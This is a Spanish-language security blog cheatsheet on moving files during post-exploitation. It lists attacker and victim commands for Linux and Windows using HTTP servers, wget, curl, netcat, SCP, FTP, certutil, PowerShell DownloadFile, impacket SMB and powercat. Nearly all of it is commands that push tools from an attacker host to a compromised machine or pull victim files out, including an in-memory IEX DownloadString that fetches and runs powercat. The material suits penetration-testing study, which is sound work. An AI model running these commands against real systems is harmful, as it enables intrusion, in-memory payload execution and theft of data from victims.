Saltar al contenido
Volver al Blog

cheatsheet · 5 min de lectura

Transferir archivos (Post explotación) - CheatSheet

Recopilación práctica de métodos para transferir archivos durante la post-explotación en Linux y Windows. Incluye HTTP, Netcat, SCP, FTP, SMB, Certutil, PowerShell y Powercat. Ideal para subir herramientas o descargar datos de la víctima sin Meterpreter o Empire.

· Pablo Plaza Martínez · cheatsheet

Recopilación práctica de métodos para transferir archivos durante la post-explotación en Linux y Windows. Incluye HTTP, Netcat, SCP, FTP, SMB, Certutil, PowerShell y Powercat. Ideal para subir herramientas o descargar datos de la víctima sin Meterpreter o Empire.

Transferir archivos (Post explotación) - CheatSheetUna vez conseguida shell en un objetivo es importante la tranferencia de archivos entre la máquina víctima y la atacante ya que muchas veces necesitaremos subir archivos como herramientas automáticas o exploits o bien descargarnos archivos de la víctima para analizarlos, reversing, etc. En este post veremos un Cheatsheet de algunas de las maneras para realizar estas transferencias. Si se os ocurre alguna mas no dudeis en comentarlo.

Antes de empezar hay que aclarar que si se obtiene la conexión con el objetivo mediante meterpreter, empire o alguna herramienta similar se facilitará la tarea pero como a veces no es posible o no conviene cargar esas herramientas solo comentaremos las maneras mas manuales.

En este post veremos los casos de que la máquina víctima sea Linux o Windows.

Linux

Subir archivos a la víctima

Simple HTTP Server

Con este metodo hostearemos nuestro archivo a subir con un simple server de python, que tambien podria hostearse mediante cualquier otro server pero usaremos este por su sencillez, y posteriormente lo descargamos con wget en la víctima(o bien curl si no esta instalado).

Comando máquina atacante:

 python -m SimpleHTTPServer 80

Comando máquina víctima:

 wget http://192.168.1.35/FiletoTransfer

o

 curl -o FiletoTransfer http://192.168.1.35/FiletoTransfer

SCP(utilidad de SSH)

Este metodo solo será valido si la máquina objetivo tiene ssh y disponemos de las credenciales. Utilizaremos la utilidad scp para transferir el archivo

scp FiletoTransfer tester@192.168.1.39:/home/tester/iron/

Netcat

Utilizaremos la herramienta que es conocida como la navaja suiza del hacker, netcat. La mayoria de los equipos con linux lo llevan instalado asi que esto es una ventaja.

nc -lvp 4444 > FiletoTransfer

Comando máquina atacante:

 nc 192.168.1.39 4444 -w 3 < FiletoTransfer

FTP

Montaremos un ftp temporal(podriamos utilizar un ftp convencional) utilizando la utilidad twistd para asi acceder desde la víctima y descargar el archivo

twistd -n ftp -r .

Comando máquina víctima:

 wget ftp://192.168.1.35:2121/FiletoTransfer

Bajar archivos de la víctima

Simple Server HTTP

Este metodo es el mismo exactamente que para subir un archivo pero al revés. En este caso la máquina víctima debe tener python para ejecutar el simple server. Tenemos que tener en cuenta que no tendremos permisos para levantar cualquier puerto. También podríamos mover nuestro archivo a la carpeta del servidor web si por ejemplo tiene corriendo el apache, aunque para eso deberiamos tener permisos.

Comando máquina víctima:

 python -m SimpleHTTPServer 8080

Comando máquina atacante:

 wget http://192.168.1.39:8080/FiletoDownload
- ##### Netcat

    Tambien utilizaremos la herramienta netcat a la inversa que para subir el archivo a la máquina víctima. Es importante tener en cuenta los permisos sobre los puertos a utilizar.
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker-7.webp)
    Comando máquina atacante:
 nc -lvp 4444 > FiletoDownload

Comando máquina víctima:

 nc 192.168.1.35 4444 -w 3 < FiletoDownload
- ##### SCP(utilidad de SSH)

    Este metodo solo será valido si la máquina objetivo tiene ssh y disponemos de las credenciales. Utilizaremos la utilidad scp para transferir el archivo de la máquina víctima a la nuestra.
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker1-1.webp)
    Comando máquina atacante:
 scp tester@192.168.1.39:/home/tester/iron/FiletoDownload .

Windows

  • Subir archivos a la víctima

    • Powershell DownloadFile
      Con este metodo hostearemos nuestro archivo a subir con un simple server de python, que tambien podria hostearse mediante cualquier otro server pero usaremos este por su sencillez, y posteriormente lo descargamos con la función DownloadFile de powershell.

      Comando máquina atacante:
 python -m SimpleHTTPServer 8080

Comando máquina víctima:

 powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.10.1:8080/FiletoTransfer','C:\\Users\\test\\Desktop\\FiletoTransfer')"
- ##### Certutil.exe

    Con nuestro archivo hosteado utilizaremos la herramienta de Microsoft certutil.exe para bajarnos el archivo que queramos. Esta herramienta esta pensada para bajar certificados pero como ya vimos en este [post](https://ironhackers.es/cheatsheet/comandos-en-windows-para-obtener-shell/) se puede aprovechar para mas cosas.
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker1-2.webp)
    Comando máquina atacante:
 python -m SimpleHTTPServer 8080

Comando máquina víctima:

 certutil.exe -urlcache -split -f http://10.10.10.1:8080/FiletoTransfer FiletoTransfer
- ##### Netcat

    Este metodo es similar al usado en netcat con linux. Para poder realizar la transferencia de esta manera deberemos tener el binario de netcat para nuestro windows.
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker-9.webp)
    Comando máquina víctima:
 nc.exe -lvp 4444 > FiletoTransfer

Comando máquina atacante:

 nc 10.10.10.2 4444 -w 3 < FiletoTransfer
- ##### FTP

    Utilizaremos un FTP temporal para hostear nuestro archivo. Windows lleva preinstalado un cliente FTP por lo que nos conectaremos y bajaremos el archivo deseado. Puede que nuestra shell no sea interactiva y tengamos que usar un fichero de comandos para conectarnos y descargar el fichero.
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker1-3.webp)
    Comando máquina atacante:
 twistd -n ftp -r .

Comando máquina víctima:

 ftp open 10.10.10.1 2121 anonymous

        get FiletoTransfer bye
- ##### SMB

    Mediante impacket-smbserver montaremos un smb folder en nuestra máquina a la que accederemos desde la máquina víctima descargando asi el archivo
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker2-1.webp)
    Comando máquina atacante:
 impacket-smbserver -smb2support test .

Comando máquina víctima:

 copy \\\\10.10.10.1\\test\\FiletoTransfer FiletoTransfer
  • Bajar archivos de la víctima

    • FTP
      Con este metodo montaremos un ftp temporal en la carpeta donde se encuentra nuestro archivo pero esta vez con permiso de escritura. Posteriormente accederemos desde la víctima y subiremos nuestro archivo.

      Comando máquina atacante:
 python -m pyftpdlib -w

Comando máquina víctima:

 ftp open 10.10.10.1 2121 anonymous

        put FiletoDownload bye
- ##### Netcat

    Este metodo es similar al usado en netcat para subir archivos pero a la inversa. Para poder realizar la transferencia de esta manera deberemos tener el binario de netcat para nuestro windows.
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker4-1.webp)
    Comando máquina atacante:
 nc -lvp 4444 > FiletoDownload

Comando máquina víctima:

 nc.exe 10.10.10.1 4444 -w 3 < FiletoDownload
- ##### SMB

    Mediante impacket-smbserver montaremos un smb folder en nuestra máquina a la que accederemos desde la máquina víctima para copiar el archivo a descargar en nuestra carpeta SMB
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker5.webp)
    Comando máquina atacante:
 impacket-smbserver -smb2support test .

Comando máquina víctima:

 copy FiletoDownload \\\\10.10.10.1\\test\\FiletoDownload
- ##### Powercat

    En este metodo cargaremos en memoria el modulo de powercat, una herramienta con la que podemos cargar una shell, enviar archivos. En este caso lo usaremos para esto mismo. Tenemos hosteado en nuestra máquina el archivo powercat.ps1 y lo cargamos mediante la funcion DownloadString. Ejecutamos powercat para enviarnos el archivo y mediante wget lo descargamos en nuestra máquina. Veremos que la descarga no termina nunca pero la cancelaremos cuando pueda haber terminado dependiendo del tamaño del archivo.
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-video-to-gif-2.webp)
    Comando máquina víctima:
 powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.10.1/powercat.ps1');powercat -l -p 4444 -i C:\\Users\\test\\FiletoDownload"

Comando máquina atacante:

 wget http://10.10.10.2:4444/FiletoDownload

Herramientas:
netcat, impacket, pyftpdlib, powercat, twistd

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
Comandos en Windows para obtener shell

cheatsheet · 4 min

Comandos en Windows para obtener shell

Recopilación de técnicas para obtener shell en Windows tras RCE. Incluye PowerShell en memoria, Powercat, Regsvr32, HTA, Cscript, MSBuild, WMIC, Certutil y pruebas contra Windows Defender.

· Pablo Plaza Martínez

Port Forwarding - CheatSheet

cheatsheet · 6 min

Port Forwarding - CheatSheet

Resumen práctico de técnicas de port forwarding/tunneling en Linux y Windows (SSH, socat, netcat, meterpreter, plink y netsh) para acceder a servicios internos detrás de firewalls.

· Pablo Plaza Martínez

Cross-Site-Scripting (XSS) – Cheat Sheet

cheatsheet · 5 min

Cross-Site-Scripting (XSS) – Cheat Sheet

Guía completa sobre vulnerabilidades XSS: tipos (Reflected, Stored, DOM-Based), técnicas de bypass de filtros y payloads para evadir validaciones y WAFs.

· Pablo Plaza Martínez